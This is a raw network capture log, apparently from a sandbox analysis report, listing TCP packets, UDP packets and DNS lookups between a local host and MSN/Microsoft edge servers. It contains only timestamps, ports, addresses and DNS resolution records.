May 19, 2022 14:41:40.979444981 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979468107 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979474068 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979506969 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979553938 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979573965 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979600906 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979623079 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979634047 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979648113 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979656935 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979672909 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979695082 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979698896 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979718924 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979722977 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979744911 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979768991 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979778051 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979793072 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979816914 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979819059 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979860067 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979902029 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979907036 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979929924 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979953051 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979959965 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979978085 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979995012 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.980005980 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.980029106 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.980034113 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.980051041 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.980077982 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.980124950 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.981345892 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.981380939 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.981441021 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.981496096 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.982012033 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.982076883 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.982146025 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.982204914 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.982860088 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.982888937 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.982917070 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.982943058 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.982945919 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.982969999 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.982976913 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.982996941 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983020067 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983043909 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983047962 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983071089 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983074903 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983098984 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983099937 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983125925 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983138084 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983154058 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983161926 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983179092 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983195066 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983202934 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983228922 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983232021 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983253956 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983267069 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983279943 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983305931 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983331919 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983352900 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983355999 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983357906 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983380079 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983393908 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983407021 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983432055 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983449936 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983458042 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983473063 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983484983 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983510971 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983515024 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983534098 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983560085 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983583927 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983586073 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983611107 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983633995 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983650923 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983654976 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983655930 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983679056 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983705044 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983716011 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983728886 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983750105 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983752012 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.983800888 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.983823061 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.019817114 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.019865036 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.019895077 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.019923925 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.019952059 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.019963026 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.019977093 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020005941 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020023108 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020032883 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020061970 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020092010 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020103931 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020122051 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020144939 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020148993 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020178080 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020195961 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020207882 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020237923 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020245075 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020265102 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020275116 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020292997 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020322084 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020345926 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020348072 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020375967 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020381927 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020405054 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020406961 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020451069 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020519018 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020548105 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020576000 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020579100 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020601988 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020628929 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020629883 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020657063 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020664930 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020683050 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020711899 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020721912 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020740032 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020755053 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020766020 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020795107 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020808935 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020859957 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020874023 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020885944 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020908117 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020915031 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020944118 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020956993 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020970106 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.020992994 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.020996094 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021024942 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021029949 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021050930 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021076918 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021079063 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021106958 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021112919 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021128893 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021157980 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021161079 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021183968 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021207094 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021210909 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021239996 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021250963 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021272898 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021296024 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021300077 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021327972 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021339893 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021353006 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021380901 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021392107 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021409035 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021436930 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021439075 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021466017 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021471024 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021492004 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021513939 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021519899 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.021568060 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.021615028 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.022139072 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.022201061 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.022303104 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.022332907 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.022357941 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.022360086 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.022386074 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.022425890 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.023010969 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.023055077 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.023082972 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.023118973 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.023147106 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.023173094 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.023196936 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.023222923 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024192095 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024243116 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024272919 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024274111 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024311066 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024316072 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024352074 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024360895 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024377108 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024395943 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024405956 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024435043 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024435997 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024461985 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024497986 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024513960 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024535894 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024540901 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024571896 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024580002 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024602890 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024626970 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024636030 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024661064 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024667978 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024699926 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024708033 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024729013 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024750948 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024761915 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024785995 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024791956 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024828911 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024832010 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024857044 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024868965 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024888039 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024908066 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024919987 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024945021 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.024950027 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024985075 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.024992943 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025013924 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025038958 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025043964 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025079966 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025089979 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025114059 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025142908 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025146008 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025168896 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025201082 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025204897 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025228977 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025243044 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025263071 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025290966 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025291920 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025319099 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025355101 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025358915 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025383949 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025386095 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025417089 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025446892 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025449038 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025475979 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025494099 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025509119 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025542974 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025549889 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025574923 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025599003 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025610924 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025635004 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025640965 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025670052 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025691032 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025688887 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025711060 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025732040 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025736094 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025753975 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025777102 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025789022 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025798082 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025819063 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025821924 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025841951 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025862932 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025882959 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025883913 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025907040 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025928974 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025952101 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025952101 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025974035 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.025990963 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.025995016 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.026017904 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.026040077 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.026041031 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.026062965 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.026083946 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.026086092 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.026108027 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.026130915 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.026130915 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.026154041 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.026170969 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:41.026173115 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.026210070 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:41.026252985 CEST	49703	80	192.168.2.3	13.107.40.203

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 19, 2022 14:41:40.197166920 CEST	51229	53	192.168.2.3	8.8.8.8
May 19, 2022 14:41:40.389507055 CEST	64851	53	192.168.2.3	8.8.8.8
May 19, 2022 14:41:40.408665895 CEST	53	64851	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 19, 2022 14:41:40.197166920 CEST	192.168.2.3	8.8.8.8	0x918e	Standard query (0)	anm.msn.com	A (IP address)	IN (0x0001)
May 19, 2022 14:41:40.389507055 CEST	192.168.2.3	8.8.8.8	0x35a	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 19, 2022 14:41:40.229801893 CEST	8.8.8.8	192.168.2.3	0x918e	No error (0)	anm.msn.com	redirection.prod.cms.msn.com		CNAME (Canonical name)	IN (0x0001)
May 19, 2022 14:41:40.229801893 CEST	8.8.8.8	192.168.2.3	0x918e	No error (0)	redirection.prod.cms.msn.com	redirection.prod.cms.msn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)
May 19, 2022 14:41:40.408665895 CEST	8.8.8.8	192.168.2.3	0x35a	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
May 19, 2022 14:41:40.408665895 CEST	8.8.8.8	192.168.2.3	0x35a	No error (0)	www-msn-com.a-0003.a-msedge.net	icePrime.a-0003.dc-msedge.net		CNAME (Canonical name)	IN (0x0001)
May 19, 2022 14:41:40.408665895 CEST	8.8.8.8	192.168.2.3	0x35a	No error (0)	icePrime.a-0003.dc-msedge.net	a-0003.fbs2-a-msedge.net		CNAME (Canonical name)	IN (0x0001)
May 19, 2022 14:41:40.408665895 CEST	8.8.8.8	192.168.2.3	0x35a	No error (0)	a-0003.fbs2-a-msedge.net		13.107.40.203	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph
